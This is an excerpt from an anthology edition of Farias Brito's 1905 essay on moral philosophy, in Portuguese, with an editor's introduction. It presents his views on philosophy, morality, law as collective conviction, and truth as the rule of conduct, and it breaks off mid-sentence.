A VERDADE COMO REGRA DAS AÇÕES – Farias Brito

A VERDADE COMO REGRA DAS
AÇÕES

Farias Brito (1862-1917)

Fonte: Farias Brito –
Uma antologia organizada por Gina Magnavita Galeffi. GRD-INL/MEC (1979)

ENSAIO DE FILOSOFIA MORAL COMO INTRODUÇÃO AO ESTUDO DO DIREITO

Esta obra publicada em 1905 em Belém do Pará é considerada pelo próprio
autor "um ensaio de filosofia moral como introdução ao estudo do
direito" e "complemento prático" de sua maia ampla obra, a
Finalidade do Mundo.

Nela notamos a
preocupação do professor e do bacharel em Direito que quer apresentar a seus
alunos os assuntos que irá desenvolver ao longo do curso. Durante alguns anos
Farias Brito foi de fato professor contratado da Faculdade de Direito para
ensinar como lente substituto.

Logo no Prefácio o leitor
fica conhecendo o propósito do autor e sua firme convicção de estar construindo
um sistema coerente de pensamento. "Trata-se, no fundo"
ele escreve "de deduzir um critério da conduta sendo
que, a meu ver, é a filosofia moral que deve servir como introdução necessária
ao estudo do direito". Declara em seguida: "Eu vou neste ensaio
explicar que é também
a verdade que se impõe como regra de nossas
açôes".

Apresenta então os pontos
do programa que irá desenvolver, 40 ao todo. Na realidade não desenvolveu senão
13 que constituem o Livro
I e o II desta
publicação.

A moral para ele é
ciência da ação e ideal de conduta. Este ideal consiste em viver moralmente,
isto é, segundo a razão. As normas de conduta são pois impostas pela própria
consciência.

Considerando as relações
entre direito e moral afirma que os dois coincidem substancialmente, só que no
direito a lei que não pode, pelo menos em princípio, estar contra a moral é
tutelada ooatiavmente pelo poder público.

A moral, em suma, é um todo do qual o direito é uma parte.

Viver segundo a moral é
viver segundo a razão e portanto conforme a verdade. Esta regra tem o valor de
um axioma e duas são as formulações que se podem dar ao imperativo da conduta:
Age de maneira a não te afastar da verdade; Age de maneira ao que pensas ser a
verdade, isto é, em conformidade com tuas íntimas convicções.

Depois de ter examinado e
interpretado à sua maneira os conceitos de moral, direito e dever, Farias Brito
passa, na segunda parte do livro, a expor as principais tentativas de
sistematização da consciência jurídica contemporânea e interrompe, por razões
várias, o plano traçado.

 

 

LIVRO I

O IDEAL DA
CONDUTA PONTO DE VISTA FUNDAMENTAL

Capítulo I(¹)

FUNÇÃO TEÓRICA E FUNÇÃO PRÁTICA DA
FILOSOFIA, CIÊNCIA E RELIGIÃO: RIQUEZA E MORALIDADE

A ciência é o conhecimento
organizado e verificado; a filosofia é o conhecimento em via de formação. Em
outros termos: a filosofia é a organização do conhecimento científico; é a investigação
do desconhecido; é a atividade mesma do espírito, elaborando o conhecimento e
produzindo a ciência. Como tal, é uma atividade permanente, compreendendo-se
assim a expressão de Leibniz: perennis philosophia; o que exatamente
quer dizer que se trata aí de uma atividade permanente do espírito humano.

A filosofia vem, pois, em
primeiro lugar, como princípio de atividade; só depois aparece a ciência como
produto dessa mesma atividade; podendo-se dizer, para explicar o fato por uma
imagem, — a filosofia é como uma árvore de que resulta como fruto a ciência.

É uma ideia que está em
antagonismo radical cem a opinião comum que dá a filosofia como um produto das
ciências, e só a admite como uma sistematização geral do conhecimento
científico. É a intuição positivista, ou a chamada filosofia científica.

(1) pp. 17-21

 

Mas esta ideia se justifica

1.°) Pela significação etimológica da palavra;
2.°) Pelo exame crítico da inteligência; 3.°) Pela história mesma do
pensamento.

Examinemos
em rápidas linhas esta justificação.

1.°) Justificação pela
significação da palavra.
A palavra filosofia vem do grego philos e sophos
e significa assim originariamente amor da ciência. Ora, se se trata
de amor, é evidente que se trata de uma força mesma do espírito. A filosofia
não é, pois, um produto, mas uma atividade espiritual. A ciência sim, é que é
um produto dessa atividade. Depois, o amor é a força geradora, o princípio
criador, portanto. E neste caso se a filosofia é o amor da ciência, logo por aí
se vê que é o princípio gerador, a força criadora da ciência.

2.°) Justificação
pelo exame crítico da inteligência.
A filosofia é a investigação do
desconhecido. Esta investigação resulta de uma necessidade fundamental de nosso
espírito: a necessidade de saber, que se manifesta como uma sede que nunca se
esgota. Ora, a necessidade é força que nos leva a agir, é mesmo a causa
originária na determinação das ações. Vê-se, pois, evidentemente, que a
filosofia se nos apresenta como um princípio de atividade: ela é, de fato, a
atividade mesma do espírito; é o espírito mesmo elaborando o conhecimento; é o
espírito investigando, analisando, estudando e, era consequência desta
investigação, desta análise, deste estudo, produzindo a ciência.

3.°) Justificação pela história mesma do
pensamento.
Mas o que demonstra a verdade desta ideia, por modo mais
rigoroso e positivo, é a história mesma do pensamento. Não é preciso ir muito
longe, basta remontar até à história dos gregos. Ninguém desconhece que o
conhecimento científico começou por um todo informe? e foi só sucessivamente
que deste todo informe se foram, com períodos mais ou menos longos, destacando
as diferentes disciplinas científicas. Destacou-se do conjunto filosófico, como
ciência independente, em primeiro lugar, a matemática; depois a astronomia;
depois a física, a química, a biologia, etc.

É assim que com
razão diz Roberto Ardigo: "A filosofia é a concepção do problema
científico; a ciência é a sua solução". É por isto que as ciências
particulares foram precedidas pela filosofia. Mas conquanto as ciências sucedam
à filosofia, não se segue daí que façam com que a filosofia desapareça; ao
contrário, desenvolvendo-se, as ciências ao mesmo tempo se tornam causa que
logo suscita novos problemas. A ciência particular é o conhecimento determinado
(il distinto mentaíe), precedido por um conhecimento indeterminado (un
indistinto)
que forma o objeto da filosofia. Existe, pois entre a ciência e
a filosofia uma relação de consequente e antecedente.

Ardigo chama ainda a
filosofia "a nebulosa primordial das noções problemáticas que dá pouco a
pouco nascimento a um corpo de conhecimento"; é "a matriz eterna da
ciência, do mesmo modo que a natureza é a matriz eterna das diversas formas que nela se
encontram… A filosofia, o estado caótico (l’indistinto) do pensamento, é um infinito que
produz a série sem fim das disciplinas científicas determinadas".

Em conclusão: a filosofia é
uma atividade que tem por função própria produzir a ciência. É o que se pode chamar a função teórica da
filosofia.

Mas ao lado dessa função
teórica, acontece que a filosofia tem também uma função prática. Quer dizer:
investigando o desconhecido, a filosofia não só vai sucessivamente constituindo
as diferentes disciplinas científicas, com ao mesmo tempo tende necessariamente
a abraçar o todo universal, alargando-se cada vez mais na esfera de sua
atividade, e lançando as bases para uma concepção do mundo. Nisto a filosofia
se transforma em metafísica e deduz as leis da conduta, explicando ao homem:
1.°) qual a significação racional da natureza; 2.°) qual o papel que
representamos no mundo; 3.°) como devemos proceder nas múltiplas relações da
vida. É o que se pode chamar a função prática da filosofia. Por onde se vê que
da filosofia resultam duas coisas: teoricamente, o conhecimento científico;
praticamente, a dedução das leis e a ordem moral da sociedade.

O homem tem sobre todos os
outros seres este privilégio excepcional: que é ele próprio quem formula as
leis a que deve obedecer. Ora, é justo dizer: quem formula as leis a que deve
obedecer, tem consciência de si mesmo. É a propriedade da natureza humana.
Nisto precisamente consiste a liberdade que, na sua significação real e mais
profunda, não é senão a consciência da açao. É a superioridade do homem. E como
esta consciência da ação é, em cada um, naturalmente tanto maior, quanto
maiores são os seus conhecimentos, quanto mais clara se faz a sua percepção das
coisas, daí se segue que a liberdade, por sua vez, é uma conquista do espírito,
que é um princípio, uma força que tanto mais cresce, quanto mais se aprofunda o
homem em seus conhecimentos. E não basta que o homem se conheça a si mesmo como
princípio de atividade; é preciso que conheça também a natureza;
teatro em que esta atividade se exerce. De modo que é da noção do conhecimento
que resulta o conceito da liberdade, sendo que é pelo conhecimento que o homem
se torna livre. E sendo, como vimos, a filosofia, o princípio gerador do
conhecimento, logo por aí se compreende que é também da filosofia que nasce a
liberdade, e com esta o direito que não é senão o organismo objetivo da
liberdade, no dizer de Rudolf von Ihering.

A filosofia não e, pois, somente conhecimento abstraio; é também força
social, força viva, capaz de exercer influência sobre a sociedade; e esta
influência é real e decisiva, pois é da filosofia que nasce o sentimento moral.

Resta acrescentar
que, assim compreendida, a filosofia se confunde com a religião. A religião de
fato é a filosofia mesma, considerada em sua função prática. Isto facilmente se
compreende, considerando que toda a religião é uma comunidade de princípios,
uma comunhão de ideias. Diversos indivíduos que se sentem unificados por uma
convicção comum, são naturalmente levados a formar uma agremiação, sentindo-se
bem, pela formação desse corpo harmónico, na unidade da mesma crença e do mesmo
ideal: é o que se chama.religião. Quer dizer: a religião é a filosofia mesma passando
do mundo das abstrações para o mundo da realidade, do pensamento para a vida; é
a filosofia deduzindo as leis da conduta e organizando, espontaneamente e sem
coação a sociedade, só pelo acordo das convicções; numa palavra: a religião é a
moral organizada .

É o que claramente se vê
considerando a filosofia de um só golpe, em sua dupla função teórica e prática.
Resultam daí, por um lado, as ciências; por outro lado, a ordem moral. Mas as
ciências, por sua vez, podem ser consideradas de dois modos: como ciências
puras e como ciências aplicadas. Quer dizer: as ciências podem ser consideradas
como disciplinas destinadas a organizar, consolidar e sistematizar o nosso
conhecimento; e podem também ser consideradas como disciplinas tendentes a
dirigir a nossa atividade produtora, tendentes a impulsionar, organizar o
trabalho. É assim que nascem: das ciências naturais, a medicina e a farmácia;
das ciências jurídicas, a jurisprudência e a prática dos tribunais; das
ciências sociais e económicas, a arte dos economistas e financeiros; das
ciências físicas e matemáticas, a arte dos engenheiros e mecânicos.

É a distinção que vai da
anatomia para a fisiologia, do órgão para a função. As ciências se tornam então
o princípio ativo das indústrias, a força produtora da riqueza.

Do mesmo modo,
considerando-se a filosofia em sua função prática, há também a distinguir duas
coisas: l.a) que ela formula uma concepção do mundo, elevando-se à
consideração da ordem da natureza e à contemplação da verdade abstrata; 2.a)
que deduz daí, pela compreensão de nosso destino, as leis da conduta. Ora,
desde que deduz leis, tende a organizar. É a génese da religião. É, ainda aqui,
a mesma distinção que vai da anatomia para a fisiologia, do órgão para a
função.

Capítulo II (¹)

A MORAL COMO CIÊNCIA DA AÇÃO. A MORAL
COMO IDEAL DA CONDUTA. O DIREITO COMO COMPLEMENTO DA MORAL. DISTINÇÃO ENTRE A
MORAL E O DIREITO.

Dá-se o nome de ação, no
sentido ético, a tudo o que o homem faz no exercício de sua atividade, a toda a
deliberação seguida de execução. Mas sempre que o homem faz qualquer coisa, que
delibera e da deliberação passa à execução, acontece que realiza certas
operações, que se move e ao mesmo tempo põe em movimento outras coisas de que
se serve como instrumentos. Isto quer na esfera da consciência individual, quer
na esfera da consciência coletiva; quer se considere o indivíduo, quer se
considere a sociedade, isto é, qualquer corporação ou coletividade. Assim é uma
ação qualquer movimento do homem em execução de alguma deliberação sobre
qualquer negócio ou incidente; e é também uma ação, por exemplo, o movimento de
um exército que se põe em marcha para ir ao encontro do inimigo. Por onde se vê
que toda a ação é sempre um movimento, ou mais precisamente, um complexo de
movimentos. Mas neste caso, em que se distingue o movimento em que se resolvem
as ações dos homens, dos outros movimentos que observamos na natureza? Em
outros termos: em que se distinguem as nossas ações do movimento realizado pelos
corpos no espaço.

Esta distinção é claríssima
e consiste nisto: que o movimento dos corpos se realiza inconscientemente, ao
passo que as nossas ações são feitas com consciência. Sempre que qualquer corpo
se move, sofre a ação de uma força exterior, quer dizer, é determinado por uma
causa, — de onde a lei: não há efeito sem causa. Sempre que o homem
realiza qualquer coisa, pratica um ato de vontade, quer dizer, é determinado
por ação de uma ideia, por um pensamento ou um sentimento, e tende a realização
de um fim; de onde a lei: não há ação sem fim. É assim que, passando da
esfera da natureza para a esfera da atividade humana, a lei de causalidade se
transforma em lei de finalidade. Deste modo podemos dizer, em conclusão: na
natuerza, isto é, nos fatos puramente mecânicos, domina a lei de causalidade;
nas ações do homem domina a lei de finalidade. O movimento e a ação são,
pois, dois fatos essencialmente distintos: o primeiro, fato puramente
mecânico; o segundo, fato ao mesmo tempo mecânico e psíquico; um, somente exterior, objetivo;
outro, ao mesmo tempo objetivo e .subjetivo, exterior e interno. Ora, há uma
ciência especial para o movimento; é a mecânica, ou em sentido mais amplo a
dinâmica, compreendendo esta: o estudo do movimento em suas manifestações
gerais e abstraías, é a mecânica propriamente dita; e o "estudo do
movimento em suas manifestações especiais e concretas, — são a física, a
química, a astronomia, a geologia, etc. E se há assim uma ciência ou um
conjunto de ciências para o movimento, não deverá também existir uma ciência ou
um conjunto de ciências para a ação? Esta ciência ou este conjunto de ciências
existe de fato: é a moral. Pode-se, pois. dizer, em síntese: a dinâmica é a ciência
do movimento: a moral é a ciência da ação.

(D pp. 22-27

 

Assim considerada, a moral
é o que se chama ordinariamente a moral especulativa, ou a moral teórica. Não é
isto, porém, o que nos interessa por enquanto. O que particularmente nos
interessa, e o que temos em vista aqui, é a moral deduzindo leis e regulando os
atos do homem; numa palavra, a moral prática, ou mais precisamente, a moral
como ideal da conduta.

Viver conforme a
moral é viver conforme a razão, isto é, conforme os princípios que a razão
estabelece. São precisamente estes princípios que constituem o ideal da
conduta. Eles se resolvem em regras de ação e são as leis da ordem moral que se
objetivam nos costumes e são transmitidas de geração em geração, sob a forma de
preceitos e máximas, de prescrições que devem ser observadas em todas as
relações da vida. A antiguidade os imaginava revelados pela própria Divindade.
A civilização hebraica os consolidou no Decálogo; e os gregos e romanos,
aproximando-se mais da verdade hoje confirmada pela observação e estudo dos
fatos, os fizeram dependentes da cogitação dos filósofos, mas, em todo o caso,
ainda os faziam derivar da voz dos oráculos, manifestação da vontade dos
deuses. Mas é a nossa consciência mesma que os inspira e deduz, sendo que a
moral, como o direito, como a religião, como as indústrias, as artes e todas as
outras manifestações da cultura humana, que são o fundamento e base da
civilização, são produtos da inteligência. E se os grandes legisladores
acreditam receber a lei, por inspiração da Divindade, como sucedeu a Moisés,
como sucedia ainda a Numa Pompílio, a isto se pode chamar a vertigem da
consciência mesma.

De toda a forma pode-se
definir a moral nestes termos: é a norma de conduta imposta pela própria
consciência.

É o que se chama a
lei moral, a Lex eterna: é o imperativo categórico de Kant.

Esta lei nos impõe deveres, e estes podem ser reduzidos a duas fórmulas
fundamentais: 1.°) fazer o bem; 2.°) não fazer o mal.

Se os homens fossem
todos bem intencionados e bons, a lei moral, por si só, seria suficiente para
assegurar a ordem social. A paz se faria pela concórdia das consciências, pela
harmonia das vontades. Mas assim não sucede.
Pelo contrário, a tendência natural do homem é para o mal. Cada um quer dominar
sobre todos e sobre tudo; cada um quer ter o seu maior quinhão nos bens que a
natureza distribui. Daí as divergências, os antagonismos e a luta contínua que
se observa entre os homens, refletindo-se na comunhão social o mesmo combate
pela vida que constitui o fundo da natureza animal. Ora, para ter valor, para
ser verdadeiramente eficaz, a lei precisa de uma sanção. A sanção consiste
unicamente na condenação da própria consciência e na execração da consciência
dos outros. Se o homem pratica o mal, em face da própria consciência se
rebaixa, ao mesmo tempo que o condena a consciência pública. É a sanção moral.
Esta, porém, não basta, porque a maior parte dos homens nem se aterrorizam com
o rebaixamento em face da própria consciência, nem deixarão de praticar o mal
por saber que hão de ser condenados e execrados pelos outros homens. É preciso,
pois, que venha em auxílio da lei uma sanção material: é a significação do
direito.

Nasce desta necessidade o
poder público que organiza o estado e assegura, pelo emprego da força, o
cumprimento das leis cuja violação põe em perigo a ordem social.

Pode-se, pois, definir o
direito nestes termos: é a norma de conduta estabelecida pelo poder público e
assegurada coativamente por uma sanção material.

Há, pois, uma norma de
conduta consagrada pela própria consciência: é a moral. E há uma norma de
conduta estabelecida pelo poder público: é o direito. São dois sistemas
diferentes de leis? Não, porque a lei que o direito estabelece é a mesma lei
moral. Mas então em que se distingue a lei moral da lei jurídica? Em outros
termos: qual é a distinção essencial entre o direito e a moral?

Esta distinção é dupla. Em
primeiro lugar o direito acrescenta à lei moral um elemento externo: a força No
direito a lei moral é assegurada coativamente pelo emprego da força. É neste
sentido que se pode dizer: o direito é força. Há então da moral para o direito
a mesma distinção que vai da ideia para o corpo. A morai é a idéia; o direito é
esta mesma ideia, manifestando-se exteriormente e reagindo como força, contra a
violação da lei. Depois nem toda a lei moral precisa de ser reduzida a direito;
mas somente aquelas cuja violação põe em perigo a ordem social. É, pois, somente
uma parte das leis morais que devem constituir o direito; por onde se vê que o
direito, sob este aspecto, está para a moral como a parte para o todo.

A moral, como vimos, impõe
duas ordens de deveres: fazer o bem — é a fórmula aceita por Schopenhauer e
reproduzida por Ernst Marcus: omnes, quantum potes, adjuva; e não fazer
o mal — é a fórmula atribuída por Giuseppe Carie aos epicuristas e também
aceita igualmente por Schopenhauer e Ernst Marcus: neminem laedere. São
somente os deveres referentes a esta última fórmula que devem ser reduzidos a
direito, isto é, que devem ser assegurados coativamente. Se o homem, podendo,
deixa de fazer o bem, a si mesmo se rebaixa, nega a crdem moral e a si mesmo se
nega; mas nao põe em perigo a ordem social. Por isto não pode, ou não deve o
direito aí intervir. Mas se ele faz o mal, se ele ofende a seus semelhantes, já
na vida, já na honra, já na propriedade, seguramente perturba a ordem social, e
portanto tem o poder público a obrigação de intervir, contendo-o nos limites da
lei. De maneira que o Estado ou o poder público que o representa, não tem o
direito de obrigar o homem a fazer o bem, mas tem o dever de impedi-lo de fazer
o mal.

O direito é, pois, a própria
lei moral, com esta diferença: que no direito a lei moral é assegurada coativamente
pelo poder público. Assim a moral é o todo de que o direito é apenas uma parte,
nem outra coisa se poderia imaginar, sendo que o direito nascido da política,
que é uma concepção da sociedade, não poderia deixar de estar subordinado à
moral, nascida da filosofia, que é uma concepção do mundo. O direito é apenas
aquela parte das leis morais de que o poder público constitui a ordem jurídica,
reduzindo-as a leis positivas. Em outros termos: é a lei moral que constitui a
atmosfera em que gira o direito, do mesmo medo que é a religião que constitui a
atmosfera em que gira a moral.

Há de um lado o poder
público, o parlamento, os tribunais, o governo, numa palavra, as corporações
políticas, e nisto consiste a ordem jurídica. Há, de outro lado, o livro, a
propaganda, o ensino, além das corporações filantrópicas e daquelas que fazem
da educação e do ensino o princípio e essência da virtude, e nisto consiste a
ordem moral. De uma e outra coisa nasce a lei: da ordem política, a lei
jurídica, da ordem filosófica, ou mais precisamente, da ordem religiosa, a lei
moral. E digo ordem religiosa, porque, em verdade, filosofia, educação e
ensino, como filantropia e caridade, tudo isto é religião.

Uma lei está subordinada a
outra, bem se vê, porque a lei suprema é a lei moral. Vem primeiro como
necessidade fundamental a lei moral; vem depois como complemento o direito. São

duas leis da mesma essência e que exercem a sua ação conjuntamente:
todavia não se confundem; Chá entre elas uma distinção claramente acentuada.

Eis aqui em síntese esta distinção:

O homem, como parte
da humanidade, deve, só por força das imposições da consciência, obedecer aos
preceitos da moral, criados pela filosofia e julgados pela história que é o
tribunal universal. Eis o domínio da moral.

O homem ainda por força
daquele mesmo princípio, e como membro da nação, deve obediência ao governo e
às leis, procedendo sempre de conformidade com a ordem política criada pela
nação e sancionada pelo Estado que, se ele por ventura se torna rebelde, o
contém por meio da força. Eis o domínio do direito.

Capítulo V (¹)

AS LEIS MORAIS E JURÍDICAS.
SUA SIGNIFICAÇÃO PRÓPRIA: A LEI COMO CONVICÇÃO COMUM, A LEI COMO
CONVICÇÃO DA CONSCIÊNCIA COLETIVA.

Ficou estabelecido que
devemos proceder sempre e em todas as relações da vida de conformidade com a
verdade. É a forma objetiva do critério da verdade. Mas a verdade, sabem todcs,
é, até certo ponto, um ideal inatingível; erramos a todo o instante sobre as
coisas mais simples; não conhecemos a natureza; não conhecemos a sociedade de
que fazemos parte; não conhecemos a nós mesmos. Como aplicar, pois, o
princípio? Torna-se necessário modificá-lo, adotando uma fórmula mais acessível
às nossas forças, mais prática, mais eficaz e, sobretudo, aplicável a todas as
modalidades da ação. Eis aqui: é nosso dever proceder sempre e em todas as
relações da vida de conformidade com o que pensamos ser a verdade, isto é, de
conformidade com as nossas convicções. É o critério subjetivo da verdade. O
primeiro, sendo observado rigorosamente, daria em resultado uma moralidade
absoluta; mas esta existe apenas como ideal; deve ser a nossa aspiração
suprema; mas não pode ser atingida. O segundo dará em resultado uma moralidade
relativa. É ainda deficiente, incompleta; mas é a única compatível com as
condições da nossa existência social. A perfeição existe somente quando as
nossas convicções são verdadeiras, isto é, quando o critério subjetivo coincide com o critério objetivo. É o
ideal a que todos devemos aspirar, de onde resulta que a busca da verdade é o
primeiro dos nossos deveres.

(1) pp. 45-59

 

É a doutrina de que já dei
uma ideia em outra parte quando disse: de dois modos pode o homem proceder na
sociedade: de conformidade com as suas convicções ou de conformidade com os seus
interesses, paixões, etc. Nem se compreende que possa proceder de outro modo, a
menos que não se ache em seu estado normal, que obedeça a uma necessidade
orgânica irresistível, que obre como louco, sem consciência do resultado de
suas ações, ou que seja impelido por uma força exterior superior à sua vontade.
Pode-se assim estabelecer que o grau de moralidade está na razão inversa do
sacrifício das convicções a conveniências; e, adotada esta regra, pode-se
afirmar que aquele que nunca sacrifica as suas convicções a conveniências é um
homem perfeito. E para conseguir esta perfeição, cumpre notar, é necessário que
o homem se esforce. Às vezes acontece que as nessas convicções coincidem com as
nossas conveniências. Neste caso o homem é feliz, mas não tem grande mérito;
falta aquilo que constitui o verdadeiro merecimento: o sacrifício, a luta, o
esforço individual.

Pode acontecer que uma ação
seja subjetivamente boa e objetivamente má. Isto se dá quando o homem procede
em obediência a uma falsa convicção: a ação deve então ser condenada, mas o
agente não merece censura, uma vez que foi sincero. E pode suceder o contrário,
isto é, que o homem seja levado a agir por determinação de uma intenção má,
estando convencido de que a verdade e o dever são exatamente o contrário, e,
entretanto, acerte por erro. Neste caso a ação deve ser aprovada, mas o agente
praticou um ato imoral: o bem não é então obra sua, mas do acaso.

A sinceridade vem a
ser, pois, uma grande virtude, de onde resulta ao mesmo tempo que a hipocrisia
é o mais hediondo dos vícios. A hipocrisia é, de fato, a personificação
consciente da mentira, a negação absoluta da moral. É a significação profunda
da criação genial de Molière. Tartufo é uma grande figura moral, é o ideal
negativo da moralidade.

Temos, pois, um princípio:
deve o homem obedecer sempre à inspiração de sua consciência, deve o homem
proceder sempre de conformidade com as suas convicções. O contrário disto seria
negar o que a consciência afirma, seria negar-se a si mesmo. Mas resulta daí
uma grave dificuldade: é que as nossas convicções são variáveis e incertas,
sendo certo que não só variam de indivíduo a indivíduo, como, no mesmo
indivíduo, a todo o instante podem mudar. Quantas vezes não acontece que num
grupo de indivíduos, sobre o mesmo assunto, cada um pensa de modo diferente,
isto não somente se tratando de questões de alta complicação, porém mesmo se
tratando de questões da mais fácil compreensão? É muito comum. E,
considerando-se o mesmo indivíduo, quantas vezes não nos sucede verificar que o
que imaginávamos ontem ser a verdade, hoje reconhecemos ser um erro grosseiro,
evidente; e vice-versa? Ora, sendo assim, como obter a regularidade,
como obter a uniformidade e a fixidez nas ações? Vê-se que se as nossas
convicções são a única regra de conduta, o resultado não pode ser senão a
anarquia. É aqui que se apresenta a necessidade imperiosa da lei.

Mas o que é a lei? É
o que passamos a examinar. O homem não é um ser isolado. É ao mesmo tempo um
todo e uma parte; um todo como indivíduo completo que é; e uma parte como
membro da comunhão social. Deste modo não é somente às suas convicções pessoais
que deve obedecer, mas também às convicções da coletividade; e caso esteja a
sua convicção individual em contradição com a convicção comum, é esta última
que deve prevalecer: .esta é que é a lei.

Eis aqui, pois, segundo o
meu ponto de vista a verdadeira significação da lei: é a convicção comum, é a
convicção da consciência coletiva; já tendo por si somente a autoridade da
razão, e neste caso é a lei moral; já, tendo por si também a autoridade do
poder público, e neste caso é a lei jurídica.

E porque devemos
ceder em face da convicção comum, por maneira que esta se nos imponha como lei?
Por três razões: 1.°) porque a parte necessariamente deve ceder em face do
todo; 2.°) porque isto é uma das condições da ordem social; 3.°) porque há era
favor da consciência comum a presunção de verdade. É assim que ao critério
objetivo da verdade, sucede o critério subjetivo da convicção, e a este, o
critério da lei que é, por assim dizer, uma transação entre os dois.

Obediência à lei — eis,
pois, a primeira condição, a condição suprema da ordem moral. E devemos a ela
obediência, quando mesmo seja contrária às nossas convicções. De sorte que não
devemos ceder nas nossas convicções, em face de qualquer interesse, em face de
qualquer conveniência, em face de qualquer perigo; mas devemos ceder em face da
lei. Foi fato de que nos deixou um exemplo grandioso, sublime, o memorável Sócrates,
morrendo por obediência à lei, estando, entretanto, convencido, certo de que a
lei pela qual morria, naquele momento, não representava a verdade.

Fica, pois, positivamente
acentuada a nossa definição. A lei é a convicção comum, a convicção da consciência
coletiva traduzida em regras de conduta.

E seja como for, a obediência a lei é a
primeira condição da vida moral. Mas é preciso nunca" perder de vista o
seguinte: que para ser verdadeiramente respeitável, para que deva ser por todos
acatada como coisa que nem de leve pode ser ferida, como coisa sagrada, é
preciso que a lei represente, de fato, a convicção comum, a convicção da
consciência coletiva, sendo que toda a vez que o poder público nos impõe uma
lei contrária às nossas convicções, isto é, contrária ao pensamento geral,
exerce uma opressão. Já não é a lei, mas a força, que governa. E neste caso é
legítima a revolução, sendo necessário acentuar que se a opressão chega a tomar
proporções exageradas e não é possível vencê-la pela discussão, pela
propaganda, pela persuasão, em uma palavra, pela luta das ideias; neste caso,
já não é somente um direito, mas um dever moral reagir, empregando a força
contra a força. É a força da razão que degenera em inconsciência da força: é
uma autoridade que cai por perder a consciência de sua missão, e é uma
consciência nova que se forma: é um poder que extravasa e se abate, degenerando
na inconsciência feroz da brutalidade; e é um poder novo que nasce, fundado na
inspiração de um novo ideal.

A história está cheia de
exemplos dessas lutas grandiosas que são o processo mesmo de seu
desenvolvimento, e ao mesmo tempo a comprovação desse fato que é também a
afirmação de uma verdade suprema: é a consciência que move o mundo.

 

LIVRO II

O PROBLEMA DO DIREITO EM PARTICULAR: EXPOSIÇÃO E CRÍTICA DOS SISTEMAS

INTRODUÇÃO (1)

É pois, da filosofia
que deriva imediatamente a intuição do dever. É o que eu chamo a função prática
da filosofia.

Mas a filosofia é uma coisa
a se fazer sempre, nunca definitivamente feita. É, como já tive ocasião de
dizer, um monumento que a cada instante se renova, uma esfera que
indefinidamente se alarga. E cada esforço individual, cada construção
particular, por mais que se afigure a seus autores como obra completa e
definitiva, não é senão material, apenas uma pedra para a obra comum da
humanidade. E se esta pedra é de forte consciência, resiste, entra como
elemento para a obra comum, aumenta o tesouro dos conhecimentos humanos, e
perdura; mas se é uma fraca pedra, uma construção arbitrária e fantástica, tem
de ser destruída, é pedra que se desfaz, e volta fatalmente ao pó de onde saiu.
Isto se explica: é que a filosofia é o espírito mesmo investigando o
desconhecido, elaborando o conhecimento. Ora, tudo o que existe, interessa ao
conhecimento e se deve explicar com devendo ser objeto do conhecimento; e como
a existência é infinita, nem tem limites assinaláveis no espaço e no tempo, daí
resulta que também não há limites assinaláveis para a investigação do
desconhecido, sendo certo que a elaboração do conhecimento jamais poderá
esgotar a existência. Todo o conhecimento elaborado é ciência. Aí descansa o
espirito na posse da verdade. Mas toda a ciência é apenas um ponto determinado
no seio do desconhecido, o que equivale a dizer, no seio do infinito; e
partindo desse ponto e em torno desse ponto para todos os lados se estende o
desconhecido em proporções infinitas. De maneira que jamais poderá o
conhecimento elaborado ou a ciência esgotar a esfera do desconhecido; e pelo
contrário com o desenvolvimento das ciências parece que o desconhecido cresce;
circunstância que tem a sua explicação neste fato: que o espírito galgando uma posição mais eminente descortina horizontes •
mais largos e deste modo descobre novas e estranhas perspectivas. É por isto
que toda a vez que o espírito descansa na posse de uma verdade, chega ao ponto
terminal numa série de investigações; mas este ponto terminal é apenas o ponto
de partida para uma nova série.

(1) pp. 74-80

 

O trabalho do
espírito é, pois, permanente, contínuo. Mas o que é mais importante é que a
filosofia, elaborando o conhecimento, não somente vai fundando as ciências, o
que quer dizer, alargando e consolidando o conhecimento científico (função
teórica), como ao mesmo tempo abrange, por disposição natural, o conjunto da
universal existência, e deste modo vai sempre fornecendo os elementos
necessários para uma concepção do mundo. Deste modo não somente continuamente
se esforça por dar uma explicação da verdadeira significação racional da
existência, como ao mesmo tempo procura definir a posição do homem no seio do
Universo.

É debaixo deste último ponto
de vista que a filosofia nos habilita a fazer a dedução das normas da nossa conduta,
pela compreensão que fornece ao mesmo tempo do nosso destino e do destino
universal. É assim precisamente da filosofia que se origina a lei, base da
ordem moral e princípio orgânico das sociedades. Mas também é exatamente, sendo
considerada sobre este aspecto, que a filosofia é uma obra a se fazer sempre,
jamais definitivamente feita, como afirmei em começo. É que a filosofia, sendo
uma concepção do mundo, está sempre sujeita a ser renovada, modificada em seus
fundamentos, à proporção que se forem desenvolvendo os conhecimentos humanes.
É, pois, uma coisa que está sob a dependência do grau de desenvolvimento do
espírito; e como o espírito se desenvolve sempre, daí resulta que a filosofia é
como uma esfera que indefinidamente se alarga, sendo certo, por exemplo, que um
selvagem não pode ter a mesma compreensão da natureza que um homem de alta
cultura mental. Neste sentido pode-se dizer que a filosofia é uma obra d’arte,
na qual a imaginação entra em contribuição com a experiência e a ciência para a
construção do monumento. Não se trata, pois, de uma obra fixa e imutável; mas
de uma construção que vai crescendo sempre, espécie de poema no qual a
majestade do cosmo se reflete, poema vivo e real que por si mesmo se desenvolve
e ao mesmo tempo continuamente se renova, como se fosse uma luz que vai sempre
subindo e que, à proporção que sobe, vê mais ao longe os confins da
existência.

Pois bem: é
exatamente nesse fato que está a razão da incerteza e variação que se nota
entre os diferentes autores e, mesmo se poderá dizer, entre os diferentes
indivíduos quanto à intuição do direito. Efetivamente: é da filosofia que nos vem a noção do dever
e, por conseguinte, a intuição do direito como regra das ações. Ora, a
filosofia varia, é uma força em desenvolvimento contínuo, é uma atividade que
continuamente se modifica e renova. Por conseguinte o direito como um produto
dessa força, como uma repercussão, na ordem prática, dessa mesma atividade, está também necessariamente sujeito a variar,
pois tem que acompanhar inevitavelmente as evoluções do pensamento filosófico,
e deste modo é igualmente uma força em desenvolvimento continuo, um princípio
que continuamente se modifica e renova.

Que a filosofia influi sobre
o direito e que a noção do direito resulta como uma consequência necessária da
intuição filosófica, é uma verdade que se impõe de modo irresistível. Neste
sentido pode-se dizer: dize-me como compreendes a natureza e eu te direi qual a
noção que tens do teu dever.

Cada um deduz, pois,
o direito conforme a intuição que tem de si mesmo e do mundo, e esse direito
assim deduzido não é propriamente um conceito, na verdadeira significação da
palavra, mas um fato de ordem psíquica que exerce ação real sobre a vida, que
se objetiva no costume e na lei e vai agir como força na comunhão social. Deste
modo as definições do direito não são propriamente determinações de um
conceito, mas apenas descrições de um fato. São definições sistemáticas que
